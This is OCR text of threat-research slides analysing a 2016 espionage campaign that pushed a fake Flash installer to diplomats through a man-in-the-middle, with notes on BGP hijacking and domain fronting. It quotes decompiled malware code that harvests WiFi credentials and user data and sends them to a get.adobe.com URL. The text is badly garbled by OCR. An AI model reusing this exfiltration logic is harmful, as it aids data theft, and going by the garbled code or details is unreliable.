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1. Background ofurla
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PENQUIN'S MOONLIT MAZE

T'he Dawn of Nation-State Digital Espionage

Juan Andres Guerrero-Saade, Costin Raiu (GReAT)

Daniel Moore, Thomas Rid (King's College London)
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Military Computer Attack Confirmed

Moon I | g By BRIAN KNOWLTON  AUG. 25, 2010
Maze

WASHINGTON — A top Pentagon official has confirmed a previously classified
incident that he describes as “the most significant breach of U.S. military
computers ever,” a 2008 episode in which a foreign intelligence agent used a flash
drive to infect computers, including those used by the Central Command in

overseeing combat zones in Iraq and Afghanistan.

Plugging the cigarette-lighter-sized flash drive into an American military laptop at
a base in the Middle East amounted to “a digital beachhead, from which data could
be transferred to servers under foreign control,” according to William J. Lynn 3d,
deputy secretary of defense, writing in the latest issue of the journal Foreign
Affairs.
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Arsenal

ARootkit

AMitM

ANatering Hole

ASeveral advance2hd stage backdoors
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Diplomats
in
EasternEurope/
Central Asia



July 2016



Fake flash installer

Downloaded from
http /ladmdownload.adobe.com *

* We believe Adobe was not compromlsed



Infection Vector

Tracing the infection chain
(end-point perspective)



Legitimate Akamai/Adob
IP address

http://admdownload.adobe.com/bin|...]

Fake Flas

Download executable
Installer BN =
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Something weird is
happening on the network



Local man-in-
the-middle attack

Possible interception points

O

BGP
9 hijacking
9 ISP modifies
traffic
Compromised
gateway

.
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~ Traffic
interception
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Adobe site somehow
compromised




LocalMitM & Compromised Gateway

AFull control of a *particular*
2ZNHI| Yy Atraffial A 2y Qa

AEX:

ADNS Changer
ASlingshot



WiFIQGredentials Export

memmove B(v
= v180;

= 5rc;

ve = &5rc;
if ( vo »=8 )
v8 = (wchar_t **)vb;
vl79 = v3;
*((_WORD *)v8 + v3) = @;
¥
vl = (const wchar_t *)&5rc;
if ( vlge »= 8 )
v3 = Src;
wescpy s(&CommandLine, @x208u, vo9);
sub 18882BCA(1, 8);
if (fCreateProcessW(®, & ommandlLine, @, @, @, Ox8000000u, 8, @, &StartupInfo, &ProcessInformation)])
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Ex:FinFisher

ASophisticated Commercial Spyware
AFINFIVISP product

AMitM campaign discovered by ESET in 2016



FinFisheMitM

AMlalicious redirect
ATrojanizedsoftware (VLCAvasE X 0

AEasy to infect (again and again) particular targets



BGP Hijacking

AReroute traffic to an attacker
controlled server

ANoisy / Not Targeted

RS RARYQU &ass
announcement for the -
Adobe/Akamiaprefixes



Other possibilities: Maon-the-Side attack

ARace condition
ACondition: ability to read the traffic

AObjective: Replying to the victim before the
legitimate server



Other possibilities: Maon-the-Side attack

AHard to beat Akamai
AAndexfiltrated data would reach Akamai servers

-> Hard and noisy



Other possibilities: Domain Fronting

AAdobe uses a CDN: Akamai
ALeverage HTTPs to hide the final destination

AUse different hostname in DNS, TLS and HTTP



DNS TLS

A? allowed.example SNI: allowed.example

HTTP

_ POST / HTTP/1.1

Host : forbidden.example

Fifield, David & Lan, Chang & Hynes, R&tiegmann Percy &PaxsonVern. (2015).
Blockingresistant communication through domain fronting. |
Proceedings on Privacy Enhancing Technologies. 2015. 10.1515420/3&t6009.




Other possibilities: Domain Fronting

AFake flash is downloaded through HTTP

ANot possible to hide the destination



Other possibilities

AAdobe/Akamai compromised

AWe reached them

- AVery unlikely



And It contacts
adobe.com again



URI = (char *)malloc(0x104u);
sprintf(URI, "/stats/AbfFcBebD/?q=%s", szVerb);

InternetOpenA("Adobe", 1u, 0, 9, 0);

InternetConnectA(v5, v3[2], @x50u, @, @, 3u, 0, 0);
*(_DWORD *)&szVerb = 5522759;

v7 = HttpOpenRequestA(v6, &szVerb, URI, @, O, 0, 0x4400000u, 0O);
result = HttpSendRequestA(v7, ©, 0, 0, 0);

http://get.adobe.com/stats/AbfFcBebD/g=<base@#coded data>



Informationexfiltratedto get.adobe.com over HTTP

ID=<unique_id>

Internal error: O

Last error :0

Extracted

user=<USERNAME >

AV=<INSTALLED AV SOFTWARE>

ip= 192.168.0.2 <local IP address>

Interface: 192.168.0.2 —--- 0x4

Internet Address Physical Address Type
192.168.0.1 <redacted> dynamic
192.168.0.255 ff-ff-ff-ff-ff-£ff static
224.0.0.2 <redacted> static
224.0.0.22 <redacted> static
224.0.0.252 <redacted> static
239.255.255.250 <redacted> static
255.255.255.255 ff-ff-ff-ff-ff-£ff static




Link with OSX/Shake



OSX/Snake
objc_msgSend(

&OBJC_CLASS _ NSString,
"stringWithFormat:",
CFSTR("User_name:%@|Device name:%@|%@"),
VeS8,

V67,

V66);

= (void *)objc_retainAutoreleasedReturnValue(v35);
= v36;

= objc _msgSend(v36, "dataUsingEncoding:"™, 4LL);

= (void *)objc_retainAutoreleasedReturnValue(v37);
= v38;

objc _msgSend(v38, "base64EncodedStringWithOptions:"”, OLL);
objc_retainAutoreleasedReturnvalue(v39);

= v40;
= objc_msgSend(

&0BJC_CLASS_ __ NSString,

"stringWithFormat:",
CFSTR("http://get.adobe.com/stats/AbfFcBebD/?q=%@"),
v40);







